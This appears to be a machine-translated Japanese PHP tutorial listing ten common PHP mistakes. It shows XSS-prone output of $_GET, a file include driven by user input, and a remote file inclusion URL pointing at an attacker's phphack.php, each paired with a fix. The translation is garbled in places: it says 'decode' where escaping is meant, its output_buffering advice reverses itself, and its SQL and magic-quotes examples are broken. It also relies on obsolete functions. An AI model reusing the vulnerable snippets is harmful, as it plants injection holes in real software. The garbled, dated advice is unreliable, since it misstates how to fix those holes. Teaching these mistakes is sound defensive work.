PHP プログラム開発でよくある間違いトップ 10_PHP チュートリアル

PHP は優れた Web 開発言語であり、柔軟な言語ですが、私は PHP プログラマーが何度も犯すいくつかの間違いを見てきました。私は、PHP プログラマーが犯しやすい 10 個の間違いのリストを以下に作成しました。そのほとんどはセキュリティに関連しています。どのような間違いを犯したかを確認してください
1. HTML エンティティを復号化しないでください
基本的な常識: すべての信頼できない入力 (特にユーザーがフォームから送信したデータ) は出力前に復号化する必要があります。
echo $_GET['usename'] ;
この例は次のように出力します:
<script>/*管理者パスワードを変更するか、Cookie を設定するスクリプト*/</script>
これは明らかなセキュリティ リスクです。ユーザーは正しく入力しています。
修正方法:
「<」、「>」、「and」などを正しい HTML 表現 (<、>'、および ") に変換する必要があります。関数 htmlspecialchars と htmlentities() が行います。まさにこれです。
正しい方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. SQL インジェクションを防ぐ最も簡単な方法について以前記事に書きました。 mysql) がこの問題について議論し、簡単な方法を教えてくれました。php.ini で magic_quotes を既に On に設定しているので、この問題について心配する必要はありませんが、すべての入力が $_GET 、 $_POST 、または $ からのものであるわけではない、と私に言いました。 _COOKIE!
修正方法:
SQL インジェクションを防ぐ最も簡単な方法 (php+mysql) と同じですが、mysql_real_escape_string() 関数を使用することをお勧めします
正しいアプローチ:
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. HTTP ヘッダー関連関数の誤った使用: header ()、session_start()、setcookie()
「警告: ヘッダー情報を追加できません - ヘッダーはすでに送信されました [....]

サーバーから Web ページをダウンロードするたびに、サーバーの出力はヘッダーとボディの 2 つの部分に分かれています。
ヘッダーには Cookie などの非視覚データが含まれています。常に頭が最初に到着します。テキスト部分には、ビジュアル HTML、画像、その他のデータが含まれます。
output_buffering が Off に設定されている場合、出力がある前にすべての HTTP ヘッダー関連関数を呼び出す必要があります。問題は、ある環境で開発し、別の環境にデプロイすると、output_buffering 設定が異なる可能性があることです。その結果、リダイレクトが停止し、Cookie とセッションが正しく設定されませんでした...

修正方法:
出力する前に必ず http ヘッダー関連関数を呼び出し、output_buffering = Off に設定してください
。
4. ファイルに安全でないデータを使用することを要求するか、または含める
もう一度言いますが、自分で明示的に宣言していないデータは信頼しないでください。 $_GET、$_POST、または $_COOKIE から取得したファイルを含めたり、要求したりしないでください。
例:
index.php
//ヘッダー、設定、データベース接続などを含む
include($_GET['filename']);
//フッターを含む
?> http://www.yourdomain.com/index.php?filename=anyfile.txt
を使用して機密情報を取得したり、PHP スクリプトを実行したりできます。
allow_url_fopen=On の場合、あなたは死んでいます:
次の入力を試してください:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
これで Web ページが完成しましたhttp://www.youaredoomed.com/phphack.php の出力が含まれています。ハッカーはスパムの送信、パスワードの変更、ファイルの削除などを行うことができます。想像できるものなら何でも。
修正方法:
どのファイルを include ディレクティブまたは require ディレクティブに含めることができるかを自分で制御する必要があります。
これは簡単ではありますが、包括的な解決策ではありません:
//許可されたファイルのみを含めます
$allowedFiles = array('file1.txt','file2.txt','file3.txt') ; if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename'])
}
else{
exit('not allowed')
? >
5. 文法エラー
文法エラーには、非常に一般的なすべての語彙および文法エラーが含まれるため、ここに列挙する必要があります。解決策は、PHP の構文を注意深く研究し、括弧、中括弧、セミコロン、または引用符を見逃さないように注意することです。また、メモ帳は使用せずに、適切なエディタを見つけてください。
6. オブジェクト指向の使用がほとんど、またはまったくない
多くのプロジェクトでは PHP のオブジェクト指向テクノロジが使用されていないため、コードのメンテナンスに非常に時間と労力がかかります。 PHP はますます多くのオブジェクト指向テクノロジをサポートしており、ますます改良されています。オブジェクト指向テクノロジを使用しない理由はありません。
7. フレームワークを使用しない
PHP プロジェクトの 95% は同じ 4 つのことを行っています: 作成、編集、リスト、削除。これら 4 つの作業を完了するのに役立つ MVC フレームワークがたくさんあります。 ?
8. PHP ですでに利用可能な関数がわからない
PHP の中核には多くの関数が含まれています。多くのプログラマーは何度も車輪の再発明を繰り返します。多くの時間が無駄になりました。コーディングする前に PHP mamual を検索して Google で検索すると新しい発見があるかもしれません。 PHP の exec() は、cmd シェルを実行し、実行結果の最後の行を文字列の形式で返すことができる強力な関数です。セキュリティを考慮して、EscapeShellCmd() を使用することができます
9. 古いバージョンの PHP を使用する
多くのプログラマーは依然として PHP4 を使用していますが、PHP の可能性を十分に活用することはできず、いくつかのセキュリティ リスクが依然として存在します。 PHP5 に切り替えるには、それほど手間はかかりません。ほとんどの PHP4 プログラムは、ステートメントをほとんど変更せずに、またはまったく変更せずに PHP5 に移行できます。 http://www.nexen.net の調査によると、PHP サーバーの 12% のみが PHP5 を使用しているため、PHP 開発者の 88% は依然として PHP4 を使用しています。
10. 引用符を 2 回翻訳してください。 Web ページ ' または '"? これは通常、開発者の環境では Magic_quotes が off に設定されているのに対し、デプロイされたサーバーでは magic_quotes =on に設定されているためです。PHP は GET、POST、COOKIE のデータに対して addlashes() を繰り返し実行します。
原文:
それは文字列です

マジック引用符 :
それは文字列です
もう一度実行します
addslashes():
それは文字列です

HTML出力:
それは文字列です

別の状況は、ユーザーが最初に、間違ったログイン情報が入力された場合、サーバーは間違った入力を検出した後、同じフォームを出力してユーザーに再入力を求め、ユーザーの入力が 2 回変更されました。

http://www.bkjia.com/PHPjc/364366.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/364366.html技術記事 PHP は優れた Web 開発言語であり、柔軟な言語ですが、PHP プログラマーが何度も犯す間違いがいくつかあります。私は、PHP プログラマーが犯すよくある 10 の間違いの以下のリストを作成しました...